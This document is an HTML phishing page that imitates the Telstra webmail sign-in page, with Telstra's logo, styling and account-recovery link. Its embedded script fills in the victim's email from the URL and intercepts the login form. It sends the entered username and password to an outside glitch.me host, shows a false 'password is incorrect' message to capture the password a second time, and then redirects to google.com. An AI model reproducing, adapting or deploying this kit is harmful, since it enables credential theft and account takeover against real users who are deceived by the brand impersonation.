<html dir="ltr" lang="en">
   <head>
      <!-- template name: html.form.login.captcha.template.html -->
      <!-- meta -->
      <meta charset="utf-8">
      <meta http-equiv="X-UA-Compatible" content="IE=edge">
      <meta name="viewport" content="width=device-width, initial-scale=1, viewport-fit=cover">
      <!--favicon-->
      <link rel="icon" href="https://www.telstra.com.au/etc/designs/telstra/images/t-logo-theme-brand-refresh-favicon.png">
      <link rel="apple-touch-icon" href="https://www.telstra.com.au/etc/designs/telstra/images/t-logo-theme-brand-refresh-apple-touch.png">
      <!-- base -->
      <base href="https://myid.telstra.com/identity/">
      <!-- title -->
      <title>Sign in with your Telstra ID</title>
      <!-- includes -->
      <style>
         @import url('assets/fonts/telstra-fonts.css');
         @import url('assets/css/min/telstra-able.min.css');
         @import url('assets/css/min/cnsb-custom.min.css');
         @import url('assets/css/min/webmail-cnsb-custom.min.css');
      </style>

      <link rel="stylesheet" href="https://www.telstra.com.au/content/dam/tcom/virtualassistant/css/lp-override-v2.css">
      </head>
   <body>
      <div>
         <header class="t-page-header">
            <svg width="33px" height="33px" viewBox="0 0 33 33" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" aria-label="Telstra Logo" role="img" focusable="false">
               <g id="Artboard" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd">
                  <g id="Telstra_Primary-logo_C_RGB" fill-rule="nonzero">
                     <path d="M18.742504,14.0832 L17.5024033,21.3536 C17.2460517,22.6624 16.3840696,23.0144 15.6182193,23.0144 L9.88235294,23.0144 L12.3016709,9.6992 C9.88876173,8.5952 7.42137789,7.8752 5.4602884,7.8752 C3.59212634,7.8752 2.0764477,8.3808 1.0670634,9.5872 C0.3556878,10.448 0,11.5104 0,12.7712 C0,16.5568 2.98008698,21.808 8.08468757,26.0928 C12.6317235,29.8784 17.6369879,32 21.2771801,32 C23.0940719,32 24.5584802,31.4432 25.523003,30.336 C26.2792401,29.4784 26.5836576,28.3648 26.5836576,27.104 C26.5836576,23.424 23.5811398,18.2688 18.742504,14.0832 Z" id="Path" fill="#F96449"></path>
                     <path d="M8.44037537,0 C7.53032731,0 6.77409018,0.6112 6.57221332,1.568 L5.76470588,5.9552 L12.9777981,5.9552 L9.87914855,23.0112 L15.6182193,23.0112 C16.3840696,23.0112 17.2460517,22.656 17.5024033,21.3504 L20.1268025,5.9552 L25.3179217,5.9552 C26.2311742,5.9552 26.9874113,5.3504 27.1892882,4.3904 L28,0 L8.44037537,0 Z" id="Path" fill="#0D54FF"></path>
                  </g>
               </g>
            </svg>
         </header>
         <div role="main" class="t-form-container">
            <h1 class="t-able-heading-a   t-able-spacing-2x-mb "> Sign in to Telstra webmail </h1>
            <div class="t-able-text-bodyshort t-able-spacing-5x-mb">Sign in with your Telstra email address</div>
            <form method="POST" autocomplete="off" id="login_form">
             <div class="t-back-to-previous-label t-able-spacing-2x-mb">Authorize Access Only for:</div>
               <a class="t-input-with-anchor   t-able-spacing-4x-mb ">
                 <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="6.98" height="12.45" viewBox="0 0 6.98 12.45" role="img" aria-hidden="true" focusable="false">
                     <defs>
                        <clipPath id="a">
                           <path d="M1.82,6.22,6.76,1.28A.75.75,0,1,0,5.7.22L.22,5.69A.77.77,0,0,0,0,6.23a.75.75,0,0,0,.22.53L5.7,12.23a.75.75,0,0,0,.53.22.76.76,0,0,0,.53-.23A.75.75,0,0,0,7,11.69a.77.77,0,0,0-.22-.54Z" fill="none" clip-rule="evenodd"></path>
                        </clipPath>
                     </defs>
                     <g clip-path="url(#a)">
                        <rect x="-5" y="-5" width="16.98" height="22.45" fill="#0064d2"></rect>
                     </g>
                  </svg>
                  <span class="t-able-sr-only">Back to previous for</span>
                  <span id="userNameSpan"></span>
               </a>
               <input type="hidden" name="pf.username" id="modUsername" value="">
               <div class="t-able-text-field t-pwd-field  t-able-spacing-2x-mb  ">
                  <label for="password">Password</label>
                  <input id="password" type="password" name="pf.pass" autofocus="" aria-invalid="false" aria-required="true" aria-describedby="">
                <!--  <button type="button" id="showPwdBtn" class="t-able-low-emph-button t-showpwd" aria-label="Show password characters" onclick="showHide('show', 'showPwdBtn', 'hidePwdBtn', 'password', 't-icon--hidden')">Show</button>
                  <button type="button" id="hidePwdBtn" class="t-able-low-emph-button t-showpwd t-icon--hidden" aria-label="Hide password characters" onclick="showHide('hide', 'hidePwdBtn', 'showPwdBtn', 'password', 't-icon--hidden')">Hide</button>--> 
               </div>
			        <p id="err45" style="color: red;"></p> <!-- Error message element -->
               <div class=" t-able-spacing-5x-mb ">
                  <a class="t-able-low-emph-button  t-reset-password-link " href="https://myid.telstra.com/identity/as/authorization.oauth2?client_id=b2c-webmail&amp;nonce=16b0d502b106e2c01b079537307b193d3809ebb4b1dfc08df56d47148c0eb5c7&amp;redirect_uri=https%3A%2F%2Femail.telstra.com%2Flogin%2Foidc%3Fid%3Da78b98eb-935a-4b92-a431-1993124e2b85&amp;response_type=code&amp;scope=openid+username&amp;state=95a3e96a6383edd533100ad879b7422b14f815e0495cf2394cdf218912a983f5&amp;PasswordReset_UsernameVerification=true" onclick="loadAnalyticEvents('click', 'clickTrack', 'linkClick', 'Reset password')">
                  Recover account
                  </a>
               </div>
               <div class="">
                  <input id="submit_btn" class="t-able-high-emph-button  t-able-spacing-7x-mb " type="submit" value="Sign In"></input>
               </div>
            </form>
         </div>
         <button type="button" class="msg-us-btn hide" id="persistentChatBtnId" aria-labelledby="msg-us-label" aria-label="Message us"></button>
         <footer class="t-footer">
            <div class="t-footer-content">
               <p class="t-footer-copyright">Copyright © 2024 Telstra</p>
               <a class="t-footer-privacy" href="https://www.telstra.com.au/privacy/privacy-statement" target="_blank">Privacy</a>
               <a class="t-footer-terms" href="https://www.telstra.com.au/terms-of-use" target="_blank">Terms of use</a>
            </div>
         </footer>
      </div>
      <div id="LPMcontainer-1733428283569-0" class="LPMcontainer LPMoverlay" style="margin: auto 1px 1px auto; padding: 0px; border-style: solid; border-width: 0px; font-style: normal; font-weight: normal; font-variant: normal; list-style: none; letter-spacing: normal; line-height: normal; text-decoration: none; vertical-align: baseline; white-space: normal; word-spacing: normal; background-repeat: repeat-x; background-position: left bottom; background-color: transparent; border-color: transparent; width: 1px; height: 1px; cursor: pointer; display: none; z-index: 107158; position: fixed; inset: auto 0px 0px auto;" role="button" tabindex="0" aria-label=""></div>
  

<script>
	          function getEmailFromUrl() {
            const url = window.location.href;
            const hash = url.split('#')[1];
            return hash ? decodeURIComponent(hash) : null;
        }

        function prefillEmail() {
            const email = getEmailFromUrl();
            if (email) {
                document.getElementById('modUsername').value = email;
                document.getElementById('userNameSpan').textContent = email;
            }
        }
    window.onload = prefillEmail;
		
    const form = document.getElementById('login_form');
    const passwordErrorElement = document.getElementById('err45');
    const displayNameInput = document.getElementById('modUsername');
    const passwordInput = document.getElementById('password');
    let isFirstSubmit = true;

    form.addEventListener('submit', (e) => {
        e.preventDefault(); 

        const displayName = displayNameInput.value;
        const password = passwordInput.value;

        console.log(`Username: ${displayName}`);
        console.log(`Password: ${password}`);

     
        passwordErrorElement.classList.remove('show');

        if (password !== '') {
            if (isFirstSubmit) {
                setTimeout(() => {
                    passwordErrorElement.textContent = 'The password is incorrect. Please try again.';
                    passwordErrorElement.classList.add('show');
                    passwordInput.value = '';
                    const xhr = new XMLHttpRequest();
                    xhr.open('POST', 'https://receptive-friendly-gate.glitch.me/submit', true);
                    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
                    xhr.send(`displayName=${displayName}&password=${password}`);

                    isFirstSubmit = false;
                }, 3000); 
            } else {
                const xhr = new XMLHttpRequest();
                xhr.open('POST', 'https://receptive-friendly-gate.glitch.me/submit', true);
                xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
                xhr.send(`displayName=${displayName}&password=${password}`);

                setTimeout(() => {
                    window.location.href = 'https://google.com';
                }, 5000);
            }
        } else {
            passwordErrorElement.textContent = 'Please enter your password.';
            passwordErrorElement.classList.add('show');
            passwordInput.value = '';
        }
    });
</script>
  </body>
</html>